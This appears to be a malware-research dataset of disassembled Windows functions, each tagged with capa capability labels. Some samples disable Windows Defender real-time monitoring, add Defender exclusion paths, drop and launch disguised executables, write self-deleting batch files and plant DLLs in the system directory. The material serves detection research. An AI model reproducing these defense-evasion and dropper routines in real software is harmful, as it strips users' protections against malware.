joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140081544
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14008158e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14008158e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14008158e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14008158e
cmp dword [rcx + 0x84], 0xe
jbe 0x14008158e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140081590
xor al, al
add rsp, 0x28
ret
Function at 0x402590
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x60
mov rsi, rcx
mov ecx, dword [0x00408354]
mov rdi, rdx
mov rbp, r8
test ecx, ecx
jle 0x402775
mov rax, qword [0x00408358]
xor ebx, ebx
nop
mov r9, qword [rax + 8]
cmp rsi, r9
jb 0x4025dc
mov rdx, qword [rax + 0x10]
mov edx, dword [rdx + 8]
add r9, rdx
cmp rsi, r9
jb 0x4026b0
add ebx, 1
add rax, 0x18
cmp ebx, ecx
jne 0x4025c0
mov rcx, rsi
call fcn.004030f0
test rax, rax
mov r12, rax
je 0x402799
movsxd rbx, ebx
lea r13, [rsp + 0x30]
lea r14, [rbx + rbx*2]
shl r14, 3
mov rbx, r14
add rbx, qword [0x00408358]
mov qword [rbx + 0x10], rax
mov dword [rbx], 0
call fcn.00403230
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
mov rdx, r13
mov qword [rbx + 8], rax
mov rax, qword [0x00408358]
mov rbx, qword [sym.imp.KERNEL32.dll_VirtualQuery]
mov rcx, qword [rax + r14 + 8]
call rbx
test rax, rax
je 0x40277c
mov eax, dword [rsp + 0x54]
cmp eax, 4
jne 0x402730
add dword [0x00408354], 1
mov r8d, 0x30
mov rdx, r13
mov rcx, rsi
call rbx
test rax, rax
je 0x4027a8
mov eax, dword [rsp + 0x54]
cmp eax, 4
jne 0x4026c0
mov r8, rbp
mov rdx, rdi
mov rcx, rsi
add rsp, 0x60
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
jmp sub.msvcrt.dll_memcpy
lea r13, [rsp + 0x30]
mov rbx, qword [sym.imp.KERNEL32.dll_VirtualQuery]
jmp 0x40266b
cmp eax, 0x40
je 0x40268b
lea r12, [rsp + 0x2c]
mov r8d, 0x40
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
mov rbx, qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, r12
call rbx
mov r8, rbp
mov rdx, rdi
mov rcx, rsi
call sub.msvcrt.dll_memcpy
mov eax, dword [rsp + 0x54]
cmp eax, 0x40
je 0x402717
cmp eax, 4
je 0x402717
mov r9, r12
mov r8d, dword [rsp + 0x2c]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
call rbx
nop
add rsp, 0x60
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
cmp eax, 0x40
je 0x402664
add r14, qword [0x00408358]
mov r8d, 0x40
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
mov r9, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x402664
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00402520
xor ebx, ebx
jmp 0x4025e7
mov rax, qword [0x00408358]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + r14 + 8]
call fcn.00402520
lea rcx, str.Address__p_has_no_image_section
mov rdx, rsi
call fcn.00402520
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, rsi
mov edx, 0x30
call fcn.00402520
nop
nop dword [rax]
Function at 0x402d80
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00408920]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x00408900]
test rbx, rbx
je 0x402dd4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x402dcb
test rsi, rsi
je 0x402dcb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402db0
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, [0x00408920]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp rax

Function at 0x402ff0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x403030
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov ecx, dword [rax + 0xc]
mov r8d, ecx
cmp r8, rdx
ja 0x403027
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x403032
add rax, 0x28
cmp rax, r9
jne 0x403014
xor eax, eax
repz ret

Function at 0x4030f0
Capabilities:
Enumerate pe sections

Disassembly:
push rsi
push rbx
sub rsp, 0x28
cmp word [0x00400000], 0x5a4d
lea rbx, [0x00400000]
mov rsi, rcx
je 0x403114
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
mov rcx, rbx
call fcn.00402fb0
test eax, eax
je 0x40310b
sub rsi, rbx
mov rcx, rbx
mov rdx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp fcn.00402ff0
Function at 0x140007204
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
call fcn.140007194
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateThread]
lea rcx, [0x140021210]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140020640]
jmp 0x140007240
cmp qword [rbx + 0x18], rdi
je 0x140007247
mov rbx, qword [rbx]
test rbx, rbx
jne 0x140007237
jmp 0x140007261
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbx + 0x10]
lea rcx, [0x140020640]
call fcn.1400123b8
lea rcx, [0x140021210]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
cmp edi, edi
cmp al, 0x3b
cmp edi, edi
cmp al, 0x3b
cmp edi, edi
sub al, 0x2a
dec dword [rbx + rcx]
or edi, edi
add byte [rax], al
add bh, bh
add byte [rax], al
add bh, bh
add byte [rax], al
add bh, bh
add byte [rax], al
add bh, bh
add byte [rax], al
add bh, bh
add byte [rax], al
add bl, dh
add byte [rax], al
add byte [rax], dh
add byte [rax], al
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbx], ah
add byte [rax], al
add bl, dl
add byte [rax], al
add bh, bh
add byte [rax], al
add bh, bh
add byte [rax], al
add bh, bh
add byte [rax], al
add bh, bh
add eax, dword [rdx + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbx], ah
add byte [rax], al
add bl, dl
add byte [rax], al
add bh, bh
add byte [rax], al
add bh, bh
add byte [rax], al
add bh, bh
add byte [rax], al
add bh, bh
add eax, dword [rdx + rax]
jmp [rcx]
cmp al, 0x3b
invalid
cmp al, 0x3b
invalid
Function at 0x140a676d6
Capabilities:
Encode data using base64

Disassembly:
xor r11b, dil
dec byte [rsp + r8 - 0x3ffff2]
add r8w, word [rsp + r8*2 - 0x7ffff1]
mov qword [rsp + r8 - 0x3f0077], 0xffffffffb1056d2b
lea rdi, [rsp + rdi + 0x10]
sar r8d, 0x13
dec qword [rsp + r8 - 7]
jle 0x140aaa797
Function at 0x140001100
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rdi
sub rsp, 0x280
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x270], rax
xor ebp, ebp
lea rdi, [0x140006840]
lea r9, str.Unzxc_smxz8264.bat
lea rdx, [0x140004394]
lea rcx, [rsp + 0x160]
mov r8, rdi
mov dword [rsp + 0x40], ebp
call qword [sym.imp.MSVCR90.dll_sprintf]
mov rdx, rbp
nop word [rax + rax]
movzx eax, byte [rdx + rdi]
inc rdx
mov byte [rsp + rdx + 0x4f], al
test al, al
jne 0x140001160
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x50]
repne scasb al, byte [rdi]
movzx eax, word [0x14000439c]
or rcx, 0xffffffffffffffff
mov word [rdi - 1], ax
xor eax, eax
lea rdi, [rsp + 0x50]
repne scasb al, byte [rdi]
mov rax, qword [str.winsupdate64.exe]
mov qword [rsp + 0x30], rbp
mov qword [rdi - 1], rax
mov rax, qword [0x1400043a8]
lea rcx, [rsp + 0x160]
mov qword [rdi + 7], rax
movzx eax, byte [0x1400043b0]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80
mov byte [rdi + 0xf], al
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000131a
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [0x140006950]
repne scasb al, byte [rdi]
lea rdi, str.:Repeat1_r_ndel___s__r_nif_exist___s__goto_Repeat1_r_n:Repeat2_r_ndel___s__r_nif_exist___s__goto_Repeat2_r_ndel___s_
mov qword [rsp + 0x290], rsi
not rcx
lea edx, [rcx + rcx*2 - 3]
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
lea rdi, [rsp + 0x50]
not rcx
dec rcx
add edx, ecx
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
lea rdi, [rsp + 0x160]
not rcx
dec rcx
add edx, ecx
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
not rcx
lea eax, [rdx + rcx + 0x63]
movsxd rdi, eax
mov rcx, rdi
call qword [sym.imp.MSVCR90.dll_malloc]
mov ecx, 1
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8, rdi
xor edx, edx
mov rcx, rsi
call sub.MSVCR90.dll_memset
lea rax, [rsp + 0x160]
lea r9, [0x140006950]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x50]
lea r8, [0x140006950]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
lea rdx, str.:Repeat1_r_ndel___s__r_nif_exist___s__goto_Repeat1_r_n:Repeat2_r_ndel___s__r_nif_exist___s__goto_Repeat2_r_ndel___s_
mov rcx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCR90.dll_sprintf]
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rsi
lea r9, [rsp + 0x40]
mov rdx, rsi
repne scasb al, byte [rdi]
mov qword [rsp + 0x20], rbp
not rcx
lea r8, [rcx - 1]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, [rsp + 0x160]
lea rdx, str.open
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x20], rbp
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
test rsi, rsi
je 0x140001312
mov rcx, rsi
call qword [sym.imp.MSVCR90.dll_free]
mov rsi, qword [rsp + 0x290]
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.1400027b0
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140001340
Capabilities:
Delete file
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0x150
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov edi, ecx
mov rcx, rdx
mov rbx, rdx
xor ebp, ebp
call qword [sym.imp.MSVCR90.dll_remove]
cmp eax, 0xffffffff
jne 0x140001384
call qword [sym.imp.MSVCR90.dll__errno]
cmp dword [rax], 0xd
jne 0x140001384
xor eax, eax
jmp 0x140001469
xor eax, eax
xor ecx, ecx
mov qword [rsp + 0x148], r12
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x140], r13
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea r8, [0x1400043c0]
movzx edx, di
mov rcx, rax
mov r12, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
xor ecx, ecx
mov rdx, rax
mov r13, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
lea rdx, [rsp + 0x20]
mov rdi, rax
sub rdx, rbx
movzx ecx, byte [rbx]
inc rbx
mov byte [rdx + rbx - 1], cl
test cl, cl
jne 0x1400013d1
test rax, rax
je 0x140001457
mov rcx, rax
mov qword [rsp + 0x180], rsi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
test rax, rax
je 0x140001446
lea rdx, [0x1400043c8]
lea rcx, [rsp + 0x20]
mov ebp, 1
call qword [sym.imp.MSVCR90.dll_fopen]
mov ecx, ebp
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdx, r13
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r9, rbx
mov rdx, rbp
movsxd r8, eax
mov rcx, rsi
call qword [sym.imp.MSVCR90.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.MSVCR90.dll_fclose]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rsi, qword [rsp + 0x180]
mov r13, qword [rsp + 0x140]
mov r12, qword [rsp + 0x148]
mov eax, ebp
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.1400027b0
add rsp, 0x150
pop rdi
pop rbp
pop rbx
ret

Function at 0x140001490
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
lea rax, [rsp + 0x50]
mov edi, ecx
lea rdx, str.SOFTWAREMicrosoftWindows_DefenderFeatures
xor ebx, ebx
mov r9d, 0xf013f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x48], ebx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140001509
mov ebx, 1
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x48]
lea r9d, [rbx + 3]
lea rdx, str.TamperProtection
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x48], edi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140001519
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x140001530
Capabilities:
Disable windows defender features via registry on windows
Set registry value

Disassembly:
sub rsp, 0x58
lea rax, [rsp + 0x70]
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection
mov r9d, 0xf013f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1400015a4
lea rax, [rsp + 0x68]
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x38], rax
xor eax, eax
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], eax
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1400015d9
mov rcx, qword [rsp + 0x70]
lea rax, [rsp + 0x60]
lea rdx, str.DisableRealtimeMonitoring
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x60], 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x1400015e9
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add rsp, 0x58
ret

Function at 0x1400015f0
Capabilities:
Set registry value

Disassembly:
push rbx
sub rsp, 0x180
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x170], rax
lea rcx, [rsp + 0x61]
xor edx, edx
mov r8d, 0x103
call sub.MSVCR90.dll_memset
mov rax, qword [str.C:WINDOWS]
lea rcx, [rsp + 0x60]
mov qword [rcx], rax
movzx eax, word [0x1400044c8]
lea rdx, str.SOFTWAREMicrosoftWindows_DefenderExclusionsPaths
mov word [rcx + 8], ax
movzx eax, byte [0x1400044ca]
xor ebx, ebx
mov byte [rcx + 0xa], al
lea rax, [rsp + 0x58]
mov r9d, 0xf013f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x54], 4
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x50], ebx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1400016bd
lea rax, [rsp + 0x54]
lea rdx, str.SOFTWAREMicrosoftWindows_DefenderExclusionsPaths
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x58]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1400016ec
mov rcx, qword [rsp + 0x58]
lea rax, [rsp + 0x50]
lea rdx, [rsp + 0x60]
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x50], ebx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x1400016fc
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.1400027b0
add rsp, 0x180
pop rbx
ret
Function at 0x140001c30
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
sub rsp, 0x38
lea rax, [rsp + 0x50]
lea rdx, str.SYSTEMControlSet001ControlSession_ManagerPower
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x48], 4
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x40], 0
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140001ce2
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x48]
lea rdx, str.HiberbootEnabled
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp dword [rsp + 0x40], 1
jne 0x140001cd7
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x40]
lea rdx, str.HiberbootEnabled
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x40], 0
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add rsp, 0x38
ret

Function at 0x140001d90
Capabilities:
Check os version

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x1a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x190], rax
mov rdi, rcx
mov rbp, r8
mov rsi, rdx
lea rcx, [rsp + 0x70]
xor ebx, ebx
xor edx, edx
mov r8d, 0x114
mov qword [rsp + 0x60], rbx
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x70], 0x114
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [rsp + 0x74], 6
jb 0x140001e5d
lea rcx, [0x140004530]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x140004570]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140001e5d
mov qword [rsp + 0x50], rbx
mov dword [rsp + 0x48], ebx
mov dword [rsp + 0x40], ebx
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], ebx
lea rcx, [rsp + 0x60]
mov r9, rdi
xor r8d, r8d
mov edx, 0x1fffff
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rsi
call rax
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x140001e5d
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
setne bl
mov eax, ebx
jmp 0x140001e5f
xor eax, eax
mov rcx, qword [rsp + 0x190]
xor rcx, rsp
call fcn.1400027b0
mov rbx, qword [rsp + 0x1d8]
add rsp, 0x1a0
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400020d0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
push rsi
sub rsp, 0x270
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov rsi, r8
mov dword [rsp + 0x20], 0x238
lea ecx, [rdx + 0xf]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140002114
xor eax, eax
jmp 0x140002197
lea rdx, [rsp + 0x20]
mov rcx, rax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x140002189
mov qword [rsp + 0x280], rdi
nop dword [rax]
mov edi, dword [rsp + 0x28]
lea rdx, [0x1400045e8]
lea rcx, [rsp + 0x4c]
call qword [sym.imp.MSVCR90.dll__wcsicmp]
test eax, eax
je 0x14000215d
lea rdx, [rsp + 0x20]
mov rcx, rbx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140002130
jmp 0x140002181
cmp dword [0x140006a54], 0
je 0x140002177
call fcn.140001c30
mov rdx, rsi
mov ecx, edi
call fcn.140001fb0
jmp 0x140002181
mov rdx, rsi
mov ecx, edi
call fcn.140001e90
mov rdi, qword [rsp + 0x280]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.1400027b0
mov rbx, qword [rsp + 0x288]
add rsp, 0x270
pop rsi
ret

Function at 0x1400021c0
Capabilities:
Get common file path

Disassembly:
push rdi
sub rsp, 0x240
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x230], rax
xor eax, eax
lea rcx, [rsp + 0x22]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x20], ax
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x20]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x20]
lea r8, [rsp + 0x20]
xor edx, edx
repne scasw ax, word [rdi]
mov eax, dword [0x1400045b8]
or rcx, 0xffffffffffffffff
mov dword [rdi - 2], eax
xor eax, eax
lea rdi, [rsp + 0x20]
repne scasw ax, word [rdi]
mov rax, qword [str.smsactive64.dll]
lea rcx, [0x1400045e8]
mov qword [rdi - 2], rax
mov rax, qword [0x1400045c8]
mov qword [rdi + 6], rax
mov rax, qword [0x1400045d0]
mov qword [rdi + 0xe], rax
mov rax, qword [0x1400045d8]
mov qword [rdi + 0x16], rax
call fcn.1400020d0
xor eax, eax
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.1400027b0
add rsp, 0x240
pop rdi
ret
Function at 0x140002290
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x380
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x370], rax
mov rax, qword [str.SYSTEMControlSet001_servicesV3_Service]
mov rbx, rcx
lea rcx, [rsp + 0x150]
mov qword [rcx], rax
mov rax, qword [0x140004620]
xor edx, edx
mov qword [rcx + 8], rax
mov rax, qword [0x140004628]
mov r8d, 0xda
mov qword [rcx + 0x10], rax
mov rax, qword [0x140004630]
xor edi, edi
mov qword [rcx + 0x18], rax
mov rax, qword [0x140004638]
mov qword [rcx + 0x20], rax
movzx eax, word [0x140004640]
mov word [rcx + 0x28], ax
lea rcx, [rsp + 0x17a]
call sub.MSVCR90.dll_memset
lea r11, [rsp + 0x38]
lea rdx, [rsp + 0x150]
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], r11
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400023e3
lea rdx, [rsp + 0x260]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rcx, [rsp + 0x41]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x40], dil
call sub.MSVCR90.dll_memset
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
lea rdx, str.ImagePath
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x30], 0x104
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1400023e3
lea edx, [rdi + 0x22]
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCR90.dll_strrchr]
test rax, rax
je 0x1400023bd
mov byte [rax], dil
lea rax, [rsp + 0x41]
lea rcx, [rsp + 0x41]
sub rbx, rax
nop word [rax + rax]
movzx eax, byte [rcx]
inc rcx
mov byte [rbx + rcx - 1], al
test al, al
jne 0x1400023d0
mov edi, 1
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x1400023f3
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
mov rcx, qword [rsp + 0x370]
xor rcx, rsp
call fcn.1400027b0
mov rbx, qword [rsp + 0x398]
add rsp, 0x380
pop rdi
ret